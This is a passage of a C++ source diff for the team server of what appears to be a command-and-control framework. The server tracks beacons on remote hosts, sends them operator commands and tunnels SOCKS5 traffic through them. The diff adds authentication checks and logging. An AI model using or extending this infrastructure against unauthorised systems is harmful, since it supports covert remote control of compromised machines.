result=true; - return result; - } + bool result = false; + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->getListenerHash() == listenerHash) + { + result = true; + return result; + } - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - std::vector sessionListenerList; - if(!session->isSessionKilled()) - { - sessionListenerList.insert(sessionListenerList.end(), session->getListener().begin(), session->getListener().end()); + std::vector sessionListenerList; + if (!session->isSessionKilled()) + { + sessionListenerList.insert(sessionListenerList.end(), session->getListener().begin(), session->getListener().end()); - for (int j = 0; j < sessionListenerList.size(); j++) - { - if(sessionListenerList[j].getListenerHash()==listenerHash) - { - result=true; - return result; - } - } - } - } - } + for (int j = 0; j < sessionListenerList.size(); j++) + { + if (sessionListenerList[j].getListenerHash() == listenerHash) + { + result = true; + return result; + } + } + } + } + } - m_logger->trace("isListenerAlive end"); + m_logger->trace("isListenerAlive end"); - return result; + return result; } - // Get the list of sessions on the primary listeners // Primary listers old all the information about beacons linked to themeself and linked to beacon listerners grpc::Status TeamServer::GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - m_logger->trace("GetSessions"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - for (int i = 0; i < m_listeners.size(); i++) - { - m_logger->trace("Listener {0}", m_listeners[i]->getListenerHash()); + m_logger->trace("GetSessions"); - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + for (int i = 0; i < m_listeners.size(); i++) + { + m_logger->trace("Listener {0}", m_listeners[i]->getListenerHash()); - m_logger->trace("Session {0} From {1} {2}", session->getBeaconHash(), session->getListenerHash(), session->getLastProofOfLife()); + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - teamserverapi::Session sessionTmp; - sessionTmp.set_listenerhash(session->getListenerHash()); - sessionTmp.set_beaconhash(session->getBeaconHash()); - sessionTmp.set_hostname(session->getHostname()); - sessionTmp.set_username(session->getUsername()); - sessionTmp.set_arch(session->getArch()); - sessionTmp.set_privilege(session->getPrivilege()); - sessionTmp.set_os(session->getOs()); - sessionTmp.set_lastproofoflife(session->getLastProofOfLife()); - sessionTmp.set_killed(session->isSessionKilled()); - sessionTmp.set_internalips(session->getInternalIps()); - sessionTmp.set_processid(session->getProcessId()); - sessionTmp.set_additionalinformation(session->getAdditionalInformation()); + m_logger->trace("Session {0} From {1} {2}", session->getBeaconHash(), session->getListenerHash(), session->getLastProofOfLife()); - bool result = isListenerAlive(session->getListenerHash()); + teamserverapi::Session sessionTmp; + sessionTmp.set_listenerhash(session->getListenerHash()); + sessionTmp.set_beaconhash(session->getBeaconHash()); + sessionTmp.set_hostname(session->getHostname()); + sessionTmp.set_username(session->getUsername()); + sessionTmp.set_arch(session->getArch()); + sessionTmp.set_privilege(session->getPrivilege()); + sessionTmp.set_os(session->getOs()); + sessionTmp.set_lastproofoflife(session->getLastProofOfLife()); + sessionTmp.set_killed(session->isSessionKilled()); + sessionTmp.set_internalips(session->getInternalIps()); + sessionTmp.set_processid(session->getProcessId()); + sessionTmp.set_additionalinformation(session->getAdditionalInformation()); - if(!session->isSessionKilled() && result) - writer->Write(sessionTmp); - } - } + bool result = isListenerAlive(session->getListenerHash()); - m_logger->trace("GetSessions end"); + if (!session->isSessionKilled() && result) + writer->Write(sessionTmp); + } + } - return grpc::Status::OK; + m_logger->trace("GetSessions end"); + + return grpc::Status::OK; } - -grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response) +grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response) { - m_logger->trace("StopSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string beaconHash=sessionToStop->beaconhash(); - std::string listenerHash=sessionToStop->listenerhash(); + m_logger->trace("StopSession"); - if(beaconHash.size()==SizeBeaconHash) - { - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - C2Message c2Message; - int res = prepMsg(EndInstruction, c2Message); + std::string beaconHash = sessionToStop->beaconhash(); + std::string listenerHash = sessionToStop->listenerhash(); - if(res!=0) - { - std::string hint = c2Message.returnvalue(); + if (beaconHash.size() == SizeBeaconHash) + { + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + C2Message c2Message; + int res = prepMsg(EndInstruction, c2Message); - response->set_message(hint); - response->set_status(teamserverapi::KO); - } + if (res != 0) + { + std::string hint = c2Message.returnvalue(); - if(!c2Message.instruction().empty()) - { - m_listeners[i]->queueTask(beaconHash, c2Message); - m_listeners[i]->markSessionKilled(beaconHash); - } + response->set_message(hint); + response->set_status(teamserverapi::KO); + } - return grpc::Status::OK; - } - } - } + if (!c2Message.instruction().empty()) + { + m_listeners[i]->queueTask(beaconHash, c2Message); + m_listeners[i]->markSessionKilled(beaconHash); + m_logger->info("StopSession command queued for beacon {0} on listener {1}", beaconHash, listenerHash); + } - m_logger->trace("StopSession end"); + return grpc::Status::OK; + } + } + } - return grpc::Status::OK; + m_logger->warn("StopSession request ignored: session {0} on listener {1} not found", beaconHash, listenerHash); + + m_logger->trace("StopSession end"); + + return grpc::Status::OK; } - - void TeamServer::socksThread() { - std::string dataIn; + std::string dataIn; std::string dataOut; - m_isSocksServerBinded=true; - while(m_isSocksServerBinded) + m_isSocksServerBinded = true; + while (m_isSocksServerBinded) { - // if session is killed (beacon probably dead) we end the server - if(m_socksSession->isSessionKilled()) - { - m_isSocksServerBinded=false; - - for(std::size_t i=0; itunnelCount(); i++) - m_socksServer->resetTunnel(i); - } - - C2Message c2Message = m_socksListener->getSocksTaskResult(m_socksSession->getBeaconHash()); - - // if the beacon request stopSocks we end the server - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopSocksCmd) - { - m_socksServer->stop(); - m_isSocksServerBinded=false; - - for(std::size_t i=0; itunnelCount(); i++) - m_socksServer->resetTunnel(i); - } - - for(std::size_t i=0; itunnelCount(); i++) + // if session is killed (beacon probably dead) we end the server + if (m_socksSession->isSessionKilled()) { - SocksTunnelServer* tunnel = m_socksServer->getTunnel(i); - - if(tunnel!=nullptr) + m_isSocksServerBinded = false; + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + m_socksServer->resetTunnel(i); + } + + C2Message c2Message = m_socksListener->getSocksTaskResult(m_socksSession->getBeaconHash()); + + // if the beacon request stopSocks we end the server + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopSocksCmd) + { + m_socksServer->stop(); + m_isSocksServerBinded = false; + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + m_socksServer->resetTunnel(i); + } + + for (std::size_t i = 0; i < m_socksServer->tunnelCount(); i++) + { + SocksTunnelServer* tunnel = m_socksServer->getTunnel(i); + + if (tunnel != nullptr) { - int id = tunnel->getId(); - SocksState state = tunnel->getState(); - if(state == SocksState::INIT) - { - int ip = tunnel->getIpDst(); - int port = tunnel->getPort(); - - m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); + int id = tunnel->getId(); + SocksState state = tunnel->getState(); + if (state == SocksState::INIT) + { + int ip = tunnel->getIpDst(); + int port = tunnel->getPort(); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(InitCmd); - c2MessageToSend.set_data(std::to_string(ip)); - c2MessageToSend.set_args(std::to_string(port)); - c2MessageToSend.set_pid(id); + m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(InitCmd); + c2MessageToSend.set_data(std::to_string(ip)); + c2MessageToSend.set_args(std::to_string(port)); + c2MessageToSend.set_pid(id); - tunnel->setState(SocksState::HANDSHAKE); - } - else if(state == SocksState::HANDSHAKE) - { - m_logger->trace("Socks5 wait handshake {}", id); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == InitCmd && c2Message.pid() == id) - { - m_logger->debug("Socks5 handshake received {}", id); + tunnel->setState(SocksState::HANDSHAKE); + } + else if (state == SocksState::HANDSHAKE) + { + m_logger->trace("Socks5 wait handshake {}", id); - if(c2Message.data() == "fail") - { - m_logger->debug("Socks5 handshake failed {}", id); - m_socksServer->resetTunnel(i); - } - else - { - m_logger->debug("Socks5 handshake succed {}", id); - tunnel->finishHandshake(); - tunnel->setState(SocksState::RUN); + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == InitCmd && c2Message.pid() == id) + { + m_logger->debug("Socks5 handshake received {}", id); - dataIn=""; - int res = tunnel->process(dataIn, dataOut); + if (c2Message.data() == "fail") + { + m_logger->debug("Socks5 handshake failed {}", id); + m_socksServer->resetTunnel(i); + } + else + { + m_logger->debug("Socks5 handshake succed {}", id); + tunnel->finishHandshake(); + tunnel->setState(SocksState::RUN); - if(res<=0) - { - m_logger->debug("Socks5 stop"); + dataIn = ""; + int res = tunnel->process(dataIn, dataOut); - m_socksServer->resetTunnel(i); + if (res <= 0) + { + m_logger->debug("Socks5 stop"); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(StopCmd); - c2MessageToSend.set_pid(id); + m_socksServer->resetTunnel(i); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - else - { - m_logger->debug("Socks5 send data to beacon"); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(StopCmd); + c2MessageToSend.set_pid(id); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(RunCmd); - c2MessageToSend.set_pid(id); - c2MessageToSend.set_data(dataOut); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + else + { + m_logger->debug("Socks5 send data to beacon"); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - } - } - else if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) - { - m_socksServer->resetTunnel(i); - } - } - else if(state == SocksState::RUN) - { - m_logger->trace("Socks5 run {}", id); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(RunCmd); + c2MessageToSend.set_pid(id); + c2MessageToSend.set_data(dataOut); - dataIn=""; - if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == RunCmd && c2Message.pid() == id) - { - m_logger->debug("Socks5 {}: data received from beacon", id); + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + } + } + else if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) + { + m_socksServer->resetTunnel(i); + } + } + else if (state == SocksState::RUN) + { + m_logger->trace("Socks5 run {}", id); - dataIn=c2Message.data(); - - int res = tunnel->process(dataIn, dataOut); + dataIn = ""; + if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == RunCmd && c2Message.pid() == id) + { + m_logger->debug("Socks5 {}: data received from beacon", id); - m_logger->debug("Socks5 process, res {}, dataIn {}, dataOut {}", res, dataIn.size(), dataOut.size()); + dataIn = c2Message.data(); - // TODO do we stop if dataOut.size()==0 ???? - // if(res<=0 || dataOut.size()==0) - if(res<=0) - { - m_logger->debug("Socks5 stop"); + int res = tunnel->process(dataIn, dataOut); - m_socksServer->resetTunnel(i); + m_logger->debug("Socks5 process, res {}, dataIn {}, dataOut {}", res, dataIn.size(), dataOut.size()); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(StopCmd); - c2MessageToSend.set_pid(id); + // TODO do we stop if dataOut.size()==0 ???? + // if(res<=0 || dataOut.size()==0) + if (res <= 0) + { + m_logger->debug("Socks5 stop"); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - else - { - m_logger->debug("Socks5 send data to beacon"); + m_socksServer->resetTunnel(i); - C2Message c2MessageToSend; - c2MessageToSend.set_instruction(Socks5Cmd); - c2MessageToSend.set_cmd(RunCmd); - c2MessageToSend.set_pid(id); - c2MessageToSend.set_data(dataOut); + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(StopCmd); + c2MessageToSend.set_pid(id); - if(!c2MessageToSend.instruction().empty()) - m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); - } - } - else if(c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) - { - m_socksServer->resetTunnel(i); - } - } + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + else + { + m_logger->debug("Socks5 send data to beacon"); + + C2Message c2MessageToSend; + c2MessageToSend.set_instruction(Socks5Cmd); + c2MessageToSend.set_cmd(RunCmd); + c2MessageToSend.set_pid(id); + c2MessageToSend.set_data(dataOut); + + if (!c2MessageToSend.instruction().empty()) + m_socksListener->queueTask(m_socksSession->getBeaconHash(), c2MessageToSend); + } + } + else if (c2Message.instruction() == Socks5Cmd && c2Message.cmd() == StopCmd && c2Message.pid() == id) + { + m_socksServer->resetTunnel(i); + } + } } } - // Remove ended tunnels - m_socksServer->cleanTunnel(); + // Remove ended tunnels + m_socksServer->cleanTunnel(); std::this_thread::sleep_for(std::chrono::milliseconds(5)); } - m_logger->info("End SocksServer binding"); + m_logger->info("End SocksServer binding"); return; } - -grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response) +grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response) { - m_logger->trace("SendCmdToSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string input = command->cmd(); - std::string beaconHash = command->beaconhash(); - std::string listenerHash = command->listenerhash(); - - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); - std::string os = session->getOs(); - bool isWindows=false; - if(os == "Windows") - isWindows=true; + m_logger->trace("SendCmdToSession"); - m_logger->trace("SendCmdToSession: beaconHash {0} listenerHash {1}", beaconHash, listenerHash); - if (!input.empty()) - { - C2Message c2Message; - int res = prepMsg(input, c2Message, isWindows); + std::string input = command->cmd(); + std::string beaconHash = command->beaconhash(); + std::string listenerHash = command->listenerhash(); - m_logger->debug("SendCmdToSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); + std::string os = session->getOs(); + bool isWindows = false; + if (os == "Windows") + isWindows = true; - // echec init message - if(res!=0) - { - std::string hint = c2Message.returnvalue(); + m_logger->trace("SendCmdToSession: beaconHash {0} listenerHash {1}", beaconHash, listenerHash); + if (!input.empty()) + { + C2Message c2Message; + int res = prepMsg(input, c2Message, isWindows); - response->set_message(hint); - response->set_status(teamserverapi::KO); + m_logger->debug("SendCmdToSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); - m_logger->debug("SendCmdToSession Fail prepMsg {0}", hint); - } + // echec init message + if (res != 0) + { + std::string hint = c2Message.returnvalue(); - // Set the uuid to track the message and correlate with the response to get a clean output in the client - if(!c2Message.instruction().empty()) - { - std::string uuid = generateUUID8(); - c2Message.set_uuid(uuid); - m_listeners[i]->queueTask(beaconHash, c2Message); + response->set_message(hint); + response->set_status(teamserverapi::KO); - c2Message.set_cmd(input); - c2Message.set_data(""); - m_sentC2Messages.push_back(std::move(c2Message)); - } - } - } - } + m_logger->debug("SendCmdToSession Fail prepMsg {0}", hint); + } - m_logger->trace("SendCmdToSession end"); + // Set the uuid to track the message and correlate with the response to get a clean output in the client + if (!c2Message.instruction().empty()) + { + m_logger->info("Queued command for beacon {} → '{}'", beaconHash.substr(0, 8), input); - return grpc::Status::OK; + std::string inputFile = c2Message.inputfile(); + const std::string& payload = c2Message.data(); + + if (!inputFile.empty() && !payload.empty()) + { + std::string md5 = computeBufferMd5(payload); + m_logger->info( + "File attached to task: '{}' | size={} bytes | MD5={}", + inputFile, + payload.size(), + md5); + } + + std::string uuid = generateUUID8(); + c2Message.set_uuid(uuid); + m_listeners[i]->queueTask(beaconHash, c2Message); + + c2Message.set_cmd(input); + c2Message.set_data(""); + m_sentC2Messages.push_back(std::move(c2Message)); + } + } + } + } + + m_logger->trace("SendCmdToSession end"); + + return grpc::Status::OK; } - int TeamServer::handleCmdResponse() { - m_logger->trace("handleCmdResponse"); - - while(m_handleCmdResponseThreadRuning) - { - // loop through all the listeners - for (int i = 0; i < m_listeners.size(); i++) - { - // loop through all the sessions - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::string beaconHash = session->getBeaconHash(); + m_logger->trace("handleCmdResponse"); - // loop through all the messages - C2Message c2Message = m_listeners[i]->getTaskResult(beaconHash); - while(!c2Message.instruction().empty()) - { - m_logger->trace("GetResponseFromSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); + while (m_handleCmdResponseThreadRuning) + { + // loop through all the listeners + for (int i = 0; i < m_listeners.size(); i++) + { + // loop through all the sessions + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::string beaconHash = session->getBeaconHash(); - std::string instructionCmd = c2Message.instruction(); - std::string errorMsg; + // loop through all the messages + C2Message c2Message = m_listeners[i]->getTaskResult(beaconHash); + while (!c2Message.instruction().empty()) + { + m_logger->trace("GetResponseFromSession {0} {1} {2}", beaconHash, c2Message.instruction(), c2Message.cmd()); - // check if the message is just a listener polling mean to update listener informations - if(instructionCmd==ListenerPollCmd) - { - m_logger->debug("beaconHash {0} {1}", beaconHash, c2Message.returnvalue()); + std::string instructionCmd = c2Message.instruction(); + std::string errorMsg; - // Do nothing and continue with the next item - c2Message = m_listeners[i]->getTaskResult(beaconHash); - continue; - } + // check if the message is just a listener polling mean to update listener informations + if (instructionCmd == ListenerPollCmd) + { + m_logger->debug("beaconHash {0} {1}", beaconHash, c2Message.returnvalue()); - // check if the message is from a loaded module and handle: - // - followup - // - the resoltion of the error code - for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it ) - { - // djb2 produce a unsigne long long - if (instructionCmd == (*it)->getName() || instructionCmd == std::to_string((*it)->getHash())) - { - m_logger->debug("Call followUp"); - (*it)->followUp(c2Message); - (*it)->errorCodeToMsg(c2Message, errorMsg); - } - } + // Do nothing and continue with the next item + c2Message = m_listeners[i]->getTaskResult(beaconHash); + continue; + } - // check if the message is from a common module and handle: - // - the resoltion of the error code - std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); - for(int i=0; igetName() || instructionCmd == std::to_string((*it)->getHash())) + { + m_logger->debug("Call followUp"); + (*it)->followUp(c2Message); + (*it)->errorCodeToMsg(c2Message, errorMsg); + } + } - - m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, c2Message.uuid()); + // check if the message is from a common module and handle: + // - the resoltion of the error code + std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + if (ccInstructionString == m_commonCommands.getCommand(i)) + m_commonCommands.errorCodeToMsg(c2Message, errorMsg); - // Get the command lign sent from the list of sent messages using the uuid to get a clean client output - std::string cmd = c2Message.cmd(); - for(int jj=0; jjdebug("GetResponseFromSession {0} {1}", beaconHash, c2Message.uuid()); - m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, cmd); + // Get the command lign sent from the list of sent messages using the uuid to get a clean client output + std::string cmd = c2Message.cmd(); + for (int jj = 0; jj < m_sentC2Messages.size(); jj++) + { + if (m_sentC2Messages[jj].uuid() == c2Message.uuid()) + { + cmd = m_sentC2Messages[jj].cmd(); + m_sentC2Messages.erase(m_sentC2Messages.begin() + jj); + break; + } + } - // Send the response to the client - teamserverapi::CommandResponse commandResponseTmp; - commandResponseTmp.set_beaconhash(beaconHash); - commandResponseTmp.set_instruction(cmd); - commandResponseTmp.set_cmd(""); - if(!errorMsg.empty()) - { - commandResponseTmp.set_response(errorMsg); - m_cmdResponses.push_back(commandResponseTmp); - } - else if(!c2Message.returnvalue().empty()) - { - commandResponseTmp.set_response(c2Message.returnvalue()); - m_cmdResponses.push_back(commandResponseTmp); - } - else - { - m_logger->debug("GetResponseFromSession no output"); - } - - // Get the next message - c2Message = m_listeners[i]->getTaskResult(beaconHash); - } - - } - } + m_logger->debug("GetResponseFromSession {0} {1}", beaconHash, cmd); - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - } + // Send the response to the client + teamserverapi::CommandResponse commandResponseTmp; + commandResponseTmp.set_beaconhash(beaconHash); + commandResponseTmp.set_instruction(cmd); + commandResponseTmp.set_cmd(""); + if (!errorMsg.empty()) + { + commandResponseTmp.set_response(errorMsg); + m_cmdResponses.push_back(commandResponseTmp); + } + else if (!c2Message.returnvalue().empty()) + { + commandResponseTmp.set_response(c2Message.returnvalue()); + m_cmdResponses.push_back(commandResponseTmp); + } + else + { + m_logger->debug("GetResponseFromSession no output"); + } - m_logger->trace("handleCmdResponse end"); + // Get the next message + c2Message = m_listeners[i]->getTaskResult(beaconHash); + } + } + } - return 0; + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + } + + m_logger->trace("handleCmdResponse end"); + + return 0; } - -grpc::Status TeamServer::GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer) +grpc::Status TeamServer::GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer) { - m_logger->trace("GetResponseFromSession"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string targetSession=session->beaconhash(); + m_logger->trace("GetResponseFromSession"); - // Retrieve all client metadata + std::string targetSession = session->beaconhash(); + + // Retrieve all client metadata auto client_metadata = context->client_metadata(); - std::string clientId; + std::string clientId; // Iterate through metadata and print key-value pairs - for (const auto& meta : client_metadata) - { + for (const auto& meta : client_metadata) + { std::string key(meta.first.data(), meta.first.length()); std::string value(meta.second.data(), meta.second.length()); // std::cout << "Metadata - Key: " << key << ", Value: " << value << std::endl; - if(key=="clientid") - clientId = value; + if (key == "clientid") + clientId = value; } - if(clientId.empty()) - return grpc::Status::OK; + if (clientId.empty()) + return grpc::Status::OK; - // New client detected - Initialize entry for this client - if (m_sentResponses.find(clientId) == m_sentResponses.end()) - m_sentResponses[clientId] = {}; + // New client detected - Initialize entry for this client + if (m_sentResponses.find(clientId) == m_sentResponses.end()) + m_sentResponses[clientId] = {}; - std::vector& sentIndices = m_sentResponses[clientId]; - for (size_t i = 0; i < m_cmdResponses.size(); ++i) - { - if(targetSession==m_cmdResponses[i].beaconhash()) - { - // If the response was not already sent to this client - if (std::find(sentIndices.begin(), sentIndices.end(), i) == sentIndices.end()) - { - writer->Write(m_cmdResponses[i]); - sentIndices.push_back(i); - } - } - } + std::vector& sentIndices = m_sentResponses[clientId]; + for (size_t i = 0; i < m_cmdResponses.size(); ++i) + { + if (targetSession == m_cmdResponses[i].beaconhash()) + { + // If the response was not already sent to this client + if (std::find(sentIndices.begin(), sentIndices.end(), i) == sentIndices.end()) + { + writer->Write(m_cmdResponses[i]); + sentIndices.push_back(i); + } + } + } - return grpc::Status::OK; + return grpc::Status::OK; - m_logger->trace("GetResponseFromSession end"); + m_logger->trace("GetResponseFromSession end"); - return grpc::Status::OK; + return grpc::Status::OK; } - const std::string HelpCmd = "help"; - -grpc::Status TeamServer::GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse) +grpc::Status TeamServer::GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse) { - m_logger->trace("GetHelp"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string input = command->cmd(); - std::string beaconHash = command->beaconhash(); - std::string listenerHash = command->listenerhash(); - - bool isWindows=false; - for (int i = 0; i < m_listeners.size(); i++) - { - if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) - { - std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); - std::string os = session->getOs(); - if(os == "Windows") - isWindows=true; - } - } + m_logger->trace("GetHelp"); - std::vector splitedCmd; - std::string delimiter = " "; - splitList(input, delimiter, splitedCmd); + std::string input = command->cmd(); + std::string beaconHash = command->beaconhash(); + std::string listenerHash = command->listenerhash(); - string instruction = splitedCmd[0]; + bool isWindows = false; + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->isSessionExist(beaconHash, listenerHash)) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(beaconHash, listenerHash); + std::string os = session->getOs(); + if (os == "Windows") + isWindows = true; + } + } - std::string output; - if (instruction == HelpCmd) - { - if (splitedCmd.size() < 2) - { - output += "- Beacon Commands:\n"; - for(int i=0; i splitedCmd; + std::string delimiter = " "; + splitList(input, delimiter, splitedCmd); - if(isWindows) - { - output += "\n- Modules Commands Windows:\n"; - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - if((*it)->osCompatibility() & OS_WINDOWS) - { - output += " "; - output += (*it)->getName(); - output += "\n"; - } - } - } - else - { - output += "\n- Modules Commands Linux:\n"; - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - if((*it)->osCompatibility() & OS_LINUX) - { - output += " "; - output += (*it)->getName(); - output += "\n"; - } - } - } - } - else - { - string instruction = splitedCmd[1]; - bool isModuleFound=false; - for(int i=0; igetName()) - { - output += (*it)->getInfo(); - output += "\n"; - isModuleFound=true; - } - } - if(!isModuleFound) - { - output += "Module "; - output += instruction; - output += " not found."; - output += "\n"; - } - } - } + string instruction = splitedCmd[0]; - teamserverapi::CommandResponse commandResponseTmp; - commandResponseTmp.set_cmd(input); - commandResponseTmp.set_response(output); + std::string output; + if (instruction == HelpCmd) + { + if (splitedCmd.size() < 2) + { + output += "- Beacon Commands:\n"; + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + { + output += " "; + output += m_commonCommands.getCommand(i); + output += "\n"; + } - *commandResponse = commandResponseTmp; + if (isWindows) + { + output += "\n- Modules Commands Windows:\n"; + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if ((*it)->osCompatibility() & OS_WINDOWS) + { + output += " "; + output += (*it)->getName(); + output += "\n"; + } + } + } + else + { + output += "\n- Modules Commands Linux:\n"; + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if ((*it)->osCompatibility() & OS_LINUX) + { + output += " "; + output += (*it)->getName(); + output += "\n"; + } + } + } + } + else + { + string instruction = splitedCmd[1]; + bool isModuleFound = false; + for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) + { + if (instruction == m_commonCommands.getCommand(i)) + { + output += m_commonCommands.getHelp(instruction); + output += "\n"; + isModuleFound = true; + } + } + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + if (instruction == (*it)->getName()) + { + output += (*it)->getInfo(); + output += "\n"; + isModuleFound = true; + } + } + if (!isModuleFound) + { + output += "Module "; + output += instruction; + output += " not found."; + output += "\n"; + } + } + } - m_logger->trace("GetHelp end"); + teamserverapi::CommandResponse commandResponseTmp; + commandResponseTmp.set_cmd(input); + commandResponseTmp.set_response(output); - return grpc::Status::OK; + *commandResponse = commandResponseTmp; + + m_logger->trace("GetHelp end"); + + return grpc::Status::OK; } - // Split input based on spaces and single quotes // Use single quote to passe aguments as a single parameters even if it's contain spaces // Singles quotes are removed void static inline splitInputCmd(const std::string& input, std::vector& splitedList) { - std::string tmp=""; - for( size_t i=0; iifa_addr != NULL && temp_addr->ifa_addr->sa_family == AF_INET) - { - if(strcmp(temp_addr->ifa_name, interface.c_str())==0) - { + while (temp_addr != NULL) + { + if (temp_addr->ifa_addr != NULL && temp_addr->ifa_addr->sa_family == AF_INET) + { + if (strcmp(temp_addr->ifa_name, interface.c_str()) == 0) + { char addressBuffer[INET_ADDRSTRLEN]; - inet_ntop(AF_INET, &((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr, addressBuffer, INET_ADDRSTRLEN); + inet_ntop(AF_INET, &((struct 